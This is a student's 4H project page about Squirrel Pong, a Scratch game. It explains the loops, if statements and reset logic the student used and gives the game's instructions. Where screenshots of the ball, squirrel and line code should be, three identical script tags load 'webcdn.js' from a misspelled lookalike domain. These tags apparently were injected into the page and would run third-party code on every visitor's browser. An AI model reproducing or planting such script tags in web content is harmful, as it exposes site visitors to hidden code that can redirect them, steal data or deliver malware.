Block Based Programming

This is my 4H project for Computer Science in the Block Based Programming category.

For this project, I created a game called Squirrel Pong using the website Scratch. Here are some of the conditions that I had to use to make the game work correctly:

- When building this game, I used an infinite loop in order to make the ball move around the screen.

- I also used if statements in order to tell the ball to bounce off of the squirrel and wall.

- I used an if statement to change the score each time the ball hit the squirrel.

- I used an if loop to stop the game if the ball ever hits the red line.

- I found a bug when the game was done and had to use a set command to move the ball back the original spot or the game would be glitched.

- When you click on the green flag, it resets the game, the ball position, and your score.

Squirrel Pong

Instructions:
Use the squirrel's head to bounce the ball. Get points for each bounce. Don't let the ball hit the red line or the game is over.

Block Based Screenshots

Ball Coding

<script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>

Squirrel Code

<script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>

Line Code

<script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>